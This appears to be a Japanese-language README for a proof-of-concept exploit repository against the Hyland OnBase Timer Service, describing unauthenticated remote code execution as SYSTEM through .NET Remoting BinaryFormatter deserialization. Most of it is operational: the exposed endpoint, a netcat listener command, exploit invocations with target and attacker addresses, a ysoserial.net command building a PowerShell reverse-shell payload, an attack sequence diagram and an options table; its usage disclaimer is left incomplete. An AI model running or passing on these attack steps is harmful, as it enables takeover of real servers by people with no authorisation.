
Hyland OnBase Timer Serviceにおける、.NET Remoting BinaryFormatterの逆シリアル化を介した未認証のリモートコード実行の概念実証エクスプロイトであり、SYSTEM権限を達成します。
ヨルダン 🇯🇴
このリポジトリには、安全でない .NET Remoting BinaryFormatter デシリアライゼーション を介した Hyland OnBase Timer Service の認証なしリモートコード実行の脆弱性に対する Proof‑of‑Concept エクスプロイトが含まれています。
この脆弱性により、認証されていない攻撃者が細工した BinaryFormatter ペイロードを Timer Service エンドポイントに送信し、NT AUTHORITY\SYSTEM として任意のコードを実行できます。
Timer Service は .NET Remoting エンドポイントを公開しています:
http://TARGET:8900/TimerServiceAPI.rem
このサービスは認証なしの BinaryFormatter オブジェクトを受け入れます。 悪意のあるガジェットチェーン(ysoserial.net)を供給することで、デシリアライゼーション中に任意のコマンド実行が発生します。
Python 依存関係のインストール:
pip install requests
ysoserial.net のダウンロード:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
スクリプトは ysoserial コマンドを出力します。 別のターミナル(Windows / Mono)で実行してください:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
ペイロード生成後、エクスプロイトターミナルで ENTER を押してください。
脆弱性がある場合 → リバースシェルが接続されます。
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
エクスプロイトは ブラインド です
成功 = リバースシェルのコールバック
サービスは SYSTEM として実行されます
ブロックされた場合は代替ガジェットを試してください:
sequenceDiagram
participant A as Attacker
participant Y as ysoserial.net
participant T as Target OnBase Timer Service
participant S as SYSTEM Shell
A->>A: Start netcat listener
A->>Y: Generate BinaryFormatter payload
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Execute gadget chain
S-->>A: Reverse shell connectionこのエクスプロイトは以下を目的として提供されています:
所有していない、またはテスト許可がないシステムに対する不正使用は違法です。
| オプション | 説明 |
|---|
| target | ターゲット IP またはホスト名 |
| --port | Timer Service ポート(デフォルト 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | 攻撃者 IP |
| --lport | リスナーポート |
| --gadget | ysoserial ガジェットチェーン |